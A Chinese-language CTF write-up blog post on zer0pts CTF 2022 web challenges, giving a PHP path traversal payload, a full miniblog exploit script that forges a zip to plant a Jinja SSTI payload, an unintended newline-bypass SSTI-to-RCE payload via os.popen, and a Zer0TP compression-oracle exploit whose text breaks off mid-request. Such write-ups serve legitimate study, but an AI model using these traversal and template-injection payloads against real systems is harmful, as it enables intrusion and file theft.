zer0ptsctf

zer0ptsctf

GitFile Explorer

下载源码,可以发现是用file_put_contents进行文件读取。

if ($service) {
    $url = craft_url($service, $owner, $repo, $branch, $file);
    if (preg_match("/^http.+\/\/.*(github|gitlab|bitbucket)/m", $url) === 1) {
        $result = file_get_contents($url);
    }
}

本地对file_get_contents进行测试的时候发现

<?php
echo file_get_contents("/asd/../etc/passwd");

即使asd文件夹即使不存在,上面也能正确读取,估计又是php的特性了。只要有../就能忽视前面那个不存在的文件夹。所以直接构造payload符合正则表达式即可。

/?service=https/..//github/&owner=..&repo=..&branch=..&file=../flag.txt

由于https后面没跟分号,所以将这个判断为文件夹了。

miniblog

不是很懂在赣神魔(涉及CRC完全不懂,还有二进制写zip)。直接从wp来分析吧:

from ptrlib import *
from itsdangerous import URLSafeTimedSerializer
from flask.sessions import TaggedJSONSerializer
import base64
import binascii
import hashlib
import json
import os
import requests
import zipfile

HOST = os.getenv("HOST", "miniblog.ctf.zer0pts.com")
PORT = os.getenv("PORT", "8008")

CODE  = "{{ request.application.__globals__.__builtins__.__import__('subprocess').check_output('cat /flag*.txt',shell=True) }}"
CODE += "A"*(0x100 - len(CODE))

# Login as code executor
r = requests.post(f"http://{HOST}:{PORT}/api/login",
                  headers={"Content-Type": "application/json"},
                  data=json.dumps({"username": "EvilFennec",
                                   "password": "TibetanFox"}))
fox_cookies = r.cookies
serializer = TaggedJSONSerializer()
signer_kwargs = {
    'key_derivation': 'hmac',
    'digest_method': hashlib.sha1
}
s = URLSafeTimedSerializer(
    b'',
    salt='cookie-session',
    serializer=serializer,
    signer_kwargs=signer_kwargs
)
_, fox_session = s.loads_unsafe(fox_cookies["session"])
username = fox_session['username']
passhash = fox_session['passhash']
workdir = fox_session['workdir']

# Find ascii CRC32
logger.info("Searching CRC32...")
ORIG = CODE
while True:
    data = {
        "title": "exploit",
        "id": "exploit",
        "date": "1919/8/10 11:45:14",
        "author": "a",
        "content": CODE
    }
    x = json.dumps(data).encode()
    crc32 = binascii.crc32(x)
    if all([(crc32 >> i) & 0xff < 0x80 for i in range(0, 32, 8)]):
        if all([(len(x) >> i) & 0xff < 0x80 for i in range(0, 32, 8)]):
            break
        else:
            CODE = ORIG + 'A'*0x100
    else:
        CODE += "A"
logger.info("CRC Found: " + hex(crc32))
logger.info("ASCII Length: " + hex(len(x)))
logger.info(CODE)

# Create a malicious zip comment
os.makedirs(f"post/{workdir}", exist_ok=True)
with open(f"post/{workdir}/exploit.json", "w") as f:
    json.dump(data, f)
with zipfile.ZipFile("exploit.zip", "w", zipfile.ZIP_STORED) as z:
    z.write(f"post/{workdir}/exploit.json")
    z.comment = f'SIGNATURE:{username}:{passhash}'.encode()

# Malform zip
logger.info("Creating ascii zip...")
size_original = 0x30
while True:
    with open("exploit.zip", "rb") as f:
        payload = f.read()
        sz = len(payload)

    lfh = payload.find(b'PK\x03\x04')
    cdh = payload.find(b'PK\x01\x02')
    ecdr = payload.find(b'PK\x05\x06')

    ## 1. Modify End of Central Directory Record
    # Modify offset to CDH
    payload = payload[:ecdr+0x10] + p32(cdh+size_original) + payload[ecdr+0x14:]

    ## 2. Modify Central Directory Header
    # Modify relative offset to LFH
    payload = payload[:cdh+0x2a] + p32(0x000 + size_original) + payload[cdh+0x2e:]
    # Modify timestamp
    payload = payload[:cdh+0xa] + p32(0) + payload[cdh+0xe:]
    # Modify attr
    payload = payload[:cdh+0x26] + p32(0x00000000) + payload[cdh+0x2a:]

    ## 3. Modify Local File Header
    # Modify timestamp
    payload = payload[:lfh+0xa] + p32(0) + payload[lfh+0xe:]
    payload = b"A" * (size_original - 0x30) + payload

    for c in payload:
        if c > 0x7f:
            break
    else:
        break

    size_original += 1
logger.info("Created ascii zip!")

# ZIP comment injection
r = requests.post(f"http://{HOST}:{PORT}/api/login",
                  headers={"Content-Type": "application/json"},
                  data=json.dumps({"username": bytes2str(payload),
                                   "password": "whatever"}))
cookies = r.cookies
logger.info("Registered malicious user")

# Export crafted exploit
r = requests.get(f"http://{HOST}:{PORT}/api/export",
                 cookies=cookies)
exp = json.loads(r.text)["export"]
logger.info("Exploit exported!")

# Import the exploit
r = requests.post(f"http://{HOST}:{PORT}/api/import",
                  headers={"Content-Type": "application/json"},
                  data=json.dumps({"import": exp}),
                  cookies=fox_cookies)
logger.info("Exploit imported!")

# Leak flag
logger.info("SSTI go brrrr...")
r = requests.get(f"http://{HOST}:{PORT}/post/exploit",
                 cookies=fox_cookies)
print(r.text)
  1. 先随便登录了一个用户。目的是获取cookie里面的信息,比如passhash之类的。然后就是获取crc32(这里的代码看不懂),估计是为了绕过源码的AES加解密:
    cipher = AES.new(app.encryption_key, AES.MODE_CFB, encbuf[:16])
        buf = io.BytesIO(cipher.decrypt(encbuf[16:]))
  2. 构造恶意的zip文件注释。

    其实就是给了一个可以写额外的描述数据的地方(.ZIP Comment),他的长度由前面的.ZIP file comment length(n)来控制。也就是zip允许你在它的文件结尾后面额外的追加内容,而不会影响前面的数据。描述文件的长度是两个字节,也就是一个short的长度,所以理论上可以寻址2^16个位置

源码里面有解析zip comment的判断:

                if z.comment != f'SIGNATURE:{username}:{passhash}'.encode():
                    return 'This is not your database'
  1. 构造zip数据包(看不懂),本地cat了一下:
    PKdtvT~J\zdd2post/cb155081239c3e8f74e161a0dde579de/exploit.json{"title": "exploit", "id": "exploit", "date": "1919/8/10 11:45:14", "author": "a", "content": "{{ request.application.__globals__.__builtins__.__import__('subprocess').check_output('cat /flag*.txt',shell=True) }}AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}PKdtvT~J\zdd2��post/cb155081239c3e8f74e161a0dde579de/exploit.jsonPK`�5SIGNATURE:EvilFennec:15978dc442e7c92def5fc5b47d84592b
  2. 用构造的数据包变成string当作用户名进行登录
  3. 将该用户的内容进行export
  4. 将export的文件重新进行import
  5. 请求路径post/exploit即可得到flag。

个人猜想:可能是因为username已经是一个完整的zip文件,然后解压的时候也把username那里解压了。本地按照逻辑复现了一下zip的操作:

    import glob
    import io
    import zipfile

    from ptrlib import p32

    def export_posts(username, passhash):
        """Export all blog posts with encryption and signature"""
        buf = "test.zip"
        with zipfile.ZipFile(buf, 'w', zipfile.ZIP_STORED) as z:
            # Archive blog posts
            for path in glob.glob(f'post/cb155081239c3e8f74e161a0dde579de/*.json'):
                z.write(path)
            # Add signature so that anyone else cannot import this backup
            z.comment = f'SIGNATURE:{username}:{passhash}'.encode()

        # Encrypt archive so that anyone else cannot read the contents
    size_original = 0x30
    while True:
        with open("exploit.zip", "rb") as f:
            payload = f.read()
            sz = len(payload)

        lfh = payload.find(b'PK\x03\x04')
        cdh = payload.find(b'PK\x01\x02')
        ecdr = payload.find(b'PK\x05\x06')

        ## 1. Modify End of Central Directory Record
        # Modify offset to CDH
        payload = payload[:ecdr+0x10] + p32(cdh+size_original) + payload[ecdr+0x14:]

        ## 2. Modify Central Directory Header
        # Modify relative offset to LFH
        payload = payload[:cdh+0x2a] + p32(0x000 + size_original) + payload[cdh+0x2e:]
        # Modify timestamp
        payload = payload[:cdh+0xa] + p32(0) + payload[cdh+0xe:]
        # Modify attr
        payload = payload[:cdh+0x26] + p32(0x00000000) + payload[cdh+0x2a:]

        ## 3. Modify Local File Header
        # Modify timestamp
        payload = payload[:lfh+0xa] + p32(0) + payload[lfh+0xe:]
        payload = b"A" * (size_original - 0x30) + payload

        for c in payload:
            if c > 0x7f:
                break
        else:
            break

        size_original += 1
    export_posts(payload, "asd")

然后确实能解压生成的zip文件,而且解压结果是把./post解压出来,从而把构造的exploit.json读取了出来。如果正常进行文章创建,是会把{{}}过滤的,但是import没有过滤,所以content是被ssti注入了的,所以可以得到flag。构造zip文件那部分还是不是很懂😥

非预期

直接用\n绕过正则,然后就是正常的ssti注入流程。获取所有基类:

{"title":"asd","content":"{{\n''.__class__.__base__.__subclasses__()}}"}

找到可利用类:

a = '''
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'pickle.PickleBuffer'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class 'moduledef'>, <class 'module'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class 'uwsgi._Input'>, <class 'uwsgi.SymbolsImporter'>, <class 'uwsgi.ZipImporter'>, <class 'uwsgi.SymbolsZipImporter'>, <class '_ast.AST'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'Crypto.Util._raw_api._VoidPointer'>, <class 'CArgObject'>, <class '_ctypes.CThunkObject'>, <class '_ctypes._CData'>, <class '_ctypes.CField'>, <class '_ctypes.DictRemover'>, <class '_ctypes.StructParam_Type'>, <class 'Struct'>, <class 'unpack_iterator'>, <class 'ctypes.CDLL'>, <class 'ctypes.LibraryLoader'>, <class 'enum.auto'>, <enum 'Enum'>, <class 're.Pattern'>, <class 're.Match'>, <class '_sre.SRE_Scanner'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 'operator.itemgetter'>, <class 'operator.attrgetter'>, <class 'operator.methodcaller'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class '_collections._tuplegetter'>, <class 'collections._Link'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 're.Scanner'>, <class 'zlib.Compress'>, <class 'zlib.Decompress'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class '_bz2.BZ2Compressor'>, <class '_bz2.BZ2Decompressor'>, <class '_lzma.LZMACompressor'>, <class '_lzma.LZMADecompressor'>, <class 'contextlib.ContextDecorator'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'select.poll'>, <class 'select.epoll'>, <class 'selectors.BaseSelector'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>, <class '_sha512.sha384'>, <class '_sha512.sha512'>, <class '_random.Random'>, <class 'weakref.finalize._Info'>, <class 'weakref.finalize'>, <class 'tempfile._RandomNameSequence'>, <class 'tempfile._TemporaryFileCloser'>, <class 'tempfile._TemporaryFileWrapper'>, <class 'tempfile.SpooledTemporaryFile'>, <class 'tempfile.TemporaryDirectory'>, <class 'Crypto.Util._raw_api.SmartPointer'>, <class 'Crypto.Cipher._mode_ecb.EcbMode'>, <class 'Crypto.Random._UrandomRNG'>, <class 'Crypto.Cipher._mode_cbc.CbcMode'>, <class 'Crypto.Cipher._mode_cfb.CfbMode'>, <class 'Crypto.Cipher._mode_ofb.OfbMode'>, <class 'Crypto.Cipher._mode_ctr.CtrMode'>, <class 'Crypto.Cipher._mode_openpgp.OpenPgpMode'>, <class 'Crypto.Hash.BLAKE2s.BLAKE2s_Hash'>, <class 'Crypto.Cipher._mode_ccm.Enum'>, <class 'Crypto.Cipher._mode_ccm.CcmMode'>, <class 'Crypto.Hash.CMAC.CMAC'>, <class 'Crypto.Cipher._mode_eax.EaxMode'>, <class 'Crypto.Hash.SHA1.SHA1Hash'>, <class 'Crypto.Hash.SHA256.SHA256Hash'>, <class 'Crypto.Hash.MD5.MD5Hash'>, <class 'Crypto.Hash.HMAC.HMAC'>, <class 'Crypto.Protocol.KDF._S2V'>, <class 'Crypto.Cipher._mode_siv.SivMode'>, <class 'Crypto.Cipher._mode_gcm._GHASH'>, <class 'Crypto.Cipher._mode_gcm.Enum'>, <class 'Crypto.Cipher._mode_gcm.GcmMode'>, <class 'Crypto.Cipher._mode_ocb.OcbMode'>, <class 'datetime.date'>, <class 'datetime.timedelta'>, <class 'datetime.time'>, <class 'datetime.tzinfo'>, <class 'string.Template'>, <class 'string.Formatter'>, <class 'typing._Final'>, <class 'typing._Immutable'>, <class 'typing.Generic'>, <class 'typing._TypingEmpty'>, <class 'typing._TypingEllipsis'>, <class 'typing.NamedTuple'>, <class 'typing.io'>, <class 'typing.re'>, <class 'markupsafe._MarkupEscapeHelper'>, <class '_socket.socket'>, <class 'socketserver.BaseServer'>, <class 'socketserver.ForkingMixIn'>, <class 'socketserver._NoThreads'>, <class 'socketserver.ThreadingMixIn'>, <class 'socketserver.BaseRequestHandler'>, <class 'urllib.parse._ResultMixinStr'>, <class 'urllib.parse._ResultMixinBytes'>, <class 'urllib.parse._NetlocResultMixinBase'>, <class 'calendar._localized_month'>, <class 'calendar._localized_day'>, <class 'calendar.Calendar'>, <class 'calendar.different_locale'>, <class 'email._parseaddr.AddrlistClass'>, <class 'email.charset.Charset'>, <class 'email.header.Header'>, <class 'email.header._ValueFormatter'>, <class 'email._policybase._PolicyBase'>, <class 'email.feedparser.BufferedSubFile'>, <class 'email.feedparser.FeedParser'>, <class 'email.parser.Parser'>, <class 'email.parser.BytesParser'>, <class 'email.message.Message'>, <class 'http.client.HTTPConnection'>, <class '_ssl._SSLContext'>, <class '_ssl._SSLSocket'>, <class '_ssl.MemoryBIO'>, <class '_ssl.Session'>, <class 'ssl.SSLObject'>, <class 'mimetypes.MimeTypes'>, <class 'dis.Bytecode'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect._void'>, <class 'inspect._empty'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class 'logging.LogRecord'>, <class 'logging.PercentStyle'>, <class 'logging.Formatter'>, <class 'logging.BufferingFormatter'>, <class 'logging.Filter'>, <class 'logging.Filterer'>, <class 'logging.PlaceHolder'>, <class 'logging.Manager'>, <class 'logging.LoggerAdapter'>, <class 'werkzeug._internal._Missing'>, <class 'werkzeug.exceptions.Aborter'>, <class 'werkzeug.urls.Href'>, <class '_hashlib.HASH'>, <class '_blake2.blake2b'>, <class '_blake2.blake2s'>, <class '_sha3.sha3_224'>, <class '_sha3.sha3_256'>, <class '_sha3.sha3_384'>, <class '_sha3.sha3_512'>, <class '_sha3.shake_128'>, <class '_sha3.shake_256'>, <class 'urllib.request.Request'>, <class 'urllib.request.OpenerDirector'>, <class 'urllib.request.BaseHandler'>, <class 'urllib.request.HTTPPasswordMgr'>, <class 'urllib.request.AbstractBasicAuthHandler'>, <class 'urllib.request.AbstractDigestAuthHandler'>, <class 'urllib.request.URLopener'>, <class 'urllib.request.ftpwrapper'>, <class 'http.cookiejar.Cookie'>, <class 'http.cookiejar.CookiePolicy'>, <class 'http.cookiejar.Absent'>, <class 'http.cookiejar.CookieJar'>, <class 'werkzeug.datastructures.ImmutableListMixin'>, <class 'werkzeug.datastructures.ImmutableDictMixin'>, <class 'werkzeug.datastructures._omd_bucket'>, <class 'werkzeug.datastructures.Headers'>, <class 'werkzeug.datastructures.ImmutableHeadersMixin'>, <class 'werkzeug.datastructures.IfRange'>, <class 'werkzeug.datastructures.Range'>, <class 'werkzeug.datastructures.ContentRange'>, <class 'werkzeug.datastructures.FileStorage'>, <class 'dataclasses._HAS_DEFAULT_FACTORY_CLASS'>, <class 'dataclasses._MISSING_TYPE'>, <class 'dataclasses._FIELD_BASE'>, <class 'dataclasses.InitVar'>, <class 'dataclasses.Field'>, <class 'dataclasses._DataclassParams'>, <class 'werkzeug.sansio.multipart.Event'>, <class 'werkzeug.sansio.multipart.MultipartDecoder'>, <class 'werkzeug.sansio.multipart.MultipartEncoder'>, <class 'importlib.abc.Finder'>, <class 'importlib.abc.Loader'>, <class 'importlib.abc.ResourceReader'>, <class 'pkgutil.ImpImporter'>, <class 'pkgutil.ImpLoader'>, <class 'hmac.HMAC'>, <class 'werkzeug.wsgi.ClosingIterator'>, <class 'werkzeug.wsgi.FileWrapper'>, <class 'werkzeug.wsgi._RangeWrapper'>, <class 'werkzeug.utils.HTMLBuilder'>, <class 'werkzeug.wrappers.accept.AcceptMixin'>, <class 'werkzeug.wrappers.auth.AuthorizationMixin'>, <class 'werkzeug.wrappers.auth.WWWAuthenticateMixin'>, <class '_json.Scanner'>, <class '_json.Encoder'>, <class 'json.decoder.JSONDecoder'>, <class 'json.encoder.JSONEncoder'>, <class 'werkzeug.formparser.FormDataParser'>, <class 'werkzeug.formparser.MultiPartParser'>, <class 'werkzeug.user_agent.UserAgent'>, <class 'werkzeug.useragents._UserAgentParser'>, <class 'werkzeug.sansio.request.Request'>, <class 'werkzeug.wrappers.request.StreamOnlyMixin'>, <class 'werkzeug.sansio.response.Response'>, <class 'werkzeug.wrappers.response.ResponseStream'>, <class 'werkzeug.wrappers.response.ResponseStreamMixin'>, <class 'werkzeug.wrappers.common_descriptors.CommonRequestDescriptorsMixin'>, <class 'werkzeug.wrappers.common_descriptors.CommonResponseDescriptorsMixin'>, <class 'werkzeug.wrappers.etag.ETagRequestMixin'>, <class 'werkzeug.wrappers.etag.ETagResponseMixin'>, <class 'werkzeug.wrappers.user_agent.UserAgentMixin'>, <class 'werkzeug.test._TestCookieHeaders'>, <class 'werkzeug.test._TestCookieResponse'>, <class 'werkzeug.test.EnvironBuilder'>, <class 'werkzeug.test.Client'>, <class 'uuid.UUID'>, <class '_pickle.Unpickler'>, <class '_pickle.Pickler'>, <class '_pickle.Pdata'>, <class '_pickle.PicklerMemoProxy'>, <class '_pickle.UnpicklerMemoProxy'>, <class 'pickle._Framer'>, <class 'pickle._Unframer'>, <class 'pickle._Pickler'>, <class 'pickle._Unpickler'>, <class 'jinja2.bccache.Bucket'>, <class 'jinja2.bccache.BytecodeCache'>, <class 'jinja2.utils.MissingType'>, <class 'jinja2.utils.LRUCache'>, <class 'jinja2.utils.Cycler'>, <class 'jinja2.utils.Joiner'>, <class 'jinja2.utils.Namespace'>, <class 'jinja2.nodes.EvalContext'>, <class 'jinja2.nodes.Node'>, <class 'jinja2.visitor.NodeVisitor'>, <class 'jinja2.idtracking.Symbols'>, <class 'jinja2.compiler.MacroRef'>, <class 'jinja2.compiler.Frame'>, <class 'jinja2.runtime.TemplateReference'>, <class 'jinja2.runtime.Context'>, <class 'jinja2.runtime.BlockReference'>, <class 'jinja2.runtime.LoopContext'>, <class 'jinja2.runtime.Macro'>, <class 'jinja2.runtime.Undefined'>, <class 'numbers.Number'>, <class 'ast.NodeVisitor'>, <class 'jinja2.lexer.Failure'>, <class 'jinja2.lexer.TokenStreamIterator'>, <class 'jinja2.lexer.TokenStream'>, <class 'jinja2.lexer.Lexer'>, <class 'jinja2.parser.Parser'>, <class 'jinja2.environment.Environment'>, <class 'jinja2.environment.Template'>, <class 'jinja2.environment.TemplateModule'>, <class 'jinja2.environment.TemplateExpression'>, <class 'jinja2.environment.TemplateStream'>, <class 'jinja2.loaders.BaseLoader'>, <class 'werkzeug.local.Local'>, <class 'werkzeug.local.LocalStack'>, <class 'werkzeug.local.LocalManager'>, <class 'werkzeug.local._ProxyLookup'>, <class 'werkzeug.local.LocalProxy'>, <class 'difflib.SequenceMatcher'>, <class 'difflib.Differ'>, <class 'difflib.HtmlDiff'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class 'werkzeug.routing.RuleFactory'>, <class 'werkzeug.routing.RuleTemplate'>, <class 'werkzeug.routing.BaseConverter'>, <class 'werkzeug.routing.Map'>, <class 'werkzeug.routing.MapAdapter'>, <class 'gettext.NullTranslations'>, <class 'click._compat._FixupStream'>, <class 'click._compat._AtomicFile'>, <class 'click.utils.LazyFile'>, <class 'click.utils.KeepOpenFile'>, <class 'click.utils.PacifyFlushWrapper'>, <class 'click.types.ParamType'>, <class 'click.parser.Option'>, <class 'click.parser.Argument'>, <class 'click.parser.ParsingState'>, <class 'click.parser.OptionParser'>, <class 'click.formatting.HelpFormatter'>, <class 'click.core.Context'>, <class 'click.core.BaseCommand'>, <class 'click.core.Parameter'>, <class 'flask.signals.Namespace'>, <class 'flask.signals._FakeSignal'>, <class 'flask.cli.DispatchingApp'>, <class 'flask.cli.ScriptInfo'>, <class 'flask.config.ConfigAttribute'>, <class 'flask.ctx._AppCtxGlobals'>, <class 'flask.ctx.AppContext'>, <class 'flask.ctx.RequestContext'>, <class 'flask.scaffold.Scaffold'>, <class 'itsdangerous._json._CompactJSON'>, <class 'decimal.Decimal'>, <class 'decimal.Context'>, <class 'decimal.SignalDictMixin'>, <class 'decimal.ContextManager'>, <class 'itsdangerous.signer.SigningAlgorithm'>, <class 'itsdangerous.signer.Signer'>, <class 'itsdangerous.serializer.Serializer'>, <class 'flask.json.tag.JSONTag'>, <class 'flask.json.tag.TaggedJSONSerializer'>, <class 'flask.sessions.SessionInterface'>, <class 'flask.blueprints.BlueprintSetupState'>, <class 'zipfile.ZipInfo'>, <class 'zipfile.LZMACompressor'>, <class 'zipfile.LZMADecompressor'>, <class 'zipfile._SharedFile'>, <class 'zipfile._Tellable'>, <class 'zipfile.ZipFile'>, <class 'zipfile.Path'>, <class 'app.Database'>, <class '__future__._Feature'>, <class '_strptime.LocaleTime'>]
'''
a = a.replace('\n', '')
print()
b = a.split('>, <')
for i in range(len(b)):
    if b[i].find('codecs.IncrementalEncoder') != -1:
        print(i)
        break

RCE:

{"title":"asd","content":"{{\n''.__class__.__base__.__subclasses__()[107].__init__.__globals__['__builtins__']['eval']('__import__(\"os\").popen(\"cat /flag-wowRCEwow.txt\").read()')}}"}

Disco Party & Festival

跟discord机器人有关,预期解看不懂,等一波非预期详解。
预期解https://hackmd.io/6J49ly7SSAC2pon0IDLxBg#Disco-PartyFestival---zer0pts-CTF-2022

Zer0TP

更加看不懂。wp:https://hackmd.io/NmgkCZwPTk-XRoDk9d66JQ
给个exp:

import os
from itertools import product
from random import shuffle
import string
import zlib
import base64
import requests
from hashlib import md5

APP_HOST = os.getenv("APP_HOST", "demoapp.ctf.zer0pts.com")
APP_PORT = os.getenv("APP_PORT", "8077")
ZER0TP_HOST = os.getenv("ZER0TP_HOST", "zer0tp.ctf.zer0pts.com")
ZER0TP_PORT = os.getenv("ZER0TP_PORT", "8080")

SECRET_BYTES = 12
SECRET_LEN = len(base64.b64encode(os.urandom(SECRET_BYTES)))

# |Σ|=4, n=3
DE_BRUIJN_TEMPLATE = b'000100200301101201302102202303103203311121131221231321332223233300'[:0x30-5]
DE_BRUIJN = DE_BRUIJN_TEMPLATE
l = list(range(0x20))
shuffle(l)
head = l[:4]
for i, c in enumerate(head):
  DE_BRUIJN = DE_BRUIJN.replace(str(i).encode(), bytearray([c]))

prev_username = DE_BRUIJN
password = 'p4ssw0rd'
res = requests.post(f'http://{ZER0TP_HOST}:{ZER0TP_PORT}/api/register', {
  "username": prev_username,
  "password": password
}).json()
assert res["result"] == "OK"

print(f'[+] registered as {prev_username}')

q = 0
def oracle(query: bytes):
  global q, prev_username
  q += 1
  assert all(0 <= c < 0x80 for c in query) and len(query) < 50
  res = requests.post(f'http://{ZER0TP_HOST}:{ZER0TP_PORT}/api/rename', {
    "username": prev_username.decode(),
    "password": password,
    "new_username": query.decode(),
    "new_password": password
  }).json()
  assert res["result"] == "OK"
  prev_username = query
  res = requests.post(f'http://{ZER0TP_HOST}:{ZER0TP_PORT}/api/login', {
    "username": query.decode(),
    "password": password    
  }).json()
  assert res["result"] == "OK"
  return res["id"].encode(), bytes.fromhex(res["token"])

block_lens = [
  16, # zlib header
  1,  # bfinal
  2,  # btypes
  5,  # code for character/length length
  5,  # code for distance length
  4,  # code for huffman length
  *([3] * 10), 1 # stager canonical codes
]
assert(sum(block_lens) == 64)
blocks = [(l, set()) for l in block_lens]

def add_block_info(data):
  bindata = int.from_bytes(data, "little")
  def next(n):
    nonlocal bindata
    res = bindata & ((1 << n) - 1)
    bindata >>= n
    return res
  for length, cands in blocks:
    val = next(length)
    cands.add(val)

PREFIX = b'#$'
ALPHABET = (string.ascii_letters + string.digits + "+/").encode()

print("[+] calculating candidates of each blocks...")
for i in range(1000):
  s = base64.b64encode(os.urandom(SECRET_BYTES))
  cur = PREFIX
  while len(cur) != len(PREFIX + s):
    for c in ALPHABET:
      payload = DE_BRUIJN + cur[-2:] + bytearray([c]) + PREFIX
      data = zlib.compress(payload + s)
      add_block_info(data)
    cur += bytearray([s[len(cur) - len(PREFIX)]])

combs = 1
for _, cands in blocks: combs *= len(cands)
print(f"[+] calculated.")

assert len(blocks[1][1]) == 1
assert len(blocks[2][1]) == 1

prod = list(product(*[[*cands] for _, cands in blocks]))
def compute_blocks(salt, hash):
  for block_vals in prod:
    data = 0
    bit_len = 0
    def add(b, len):
      nonlocal data, bit_len
      assert b < 2 ** len
      data += (b << bit_len)
      bit_len += len
    for val, length in zip(block_vals, block_lens):
      add(val, length)
    assert(bit_len == 64)
    cur_hash = md5(salt + data.to_bytes(bit_len // 8, "little")).digest()
    if hash != cur_hash: continue
    return block_vals
  assert False

DEBUG = True
init = PREFIX
def solve(cur):
  print(f'[+] {cur=}')
  if len(cur) - len(init) == SECRET_LEN:
    return cur[len(init):]
  res = None
  for c in ALPHABET:
    if res is not None: break
    payload = DE_BRUIJN + cur[-2:] + bytearray([c]) + PREFIX 
    salt, hash = oracle(payload)
    if compute_blocks(salt, hash)[3] == 0: continue
    res = solve(cur + bytearray([c]))
  return res

res = solve(init)
assert res is not None

response = requests.post(f'http://{ZER0TP_HOST}:{ZER0TP_PORT}/api/set_admin', {
  "username": prev_username.decode(),
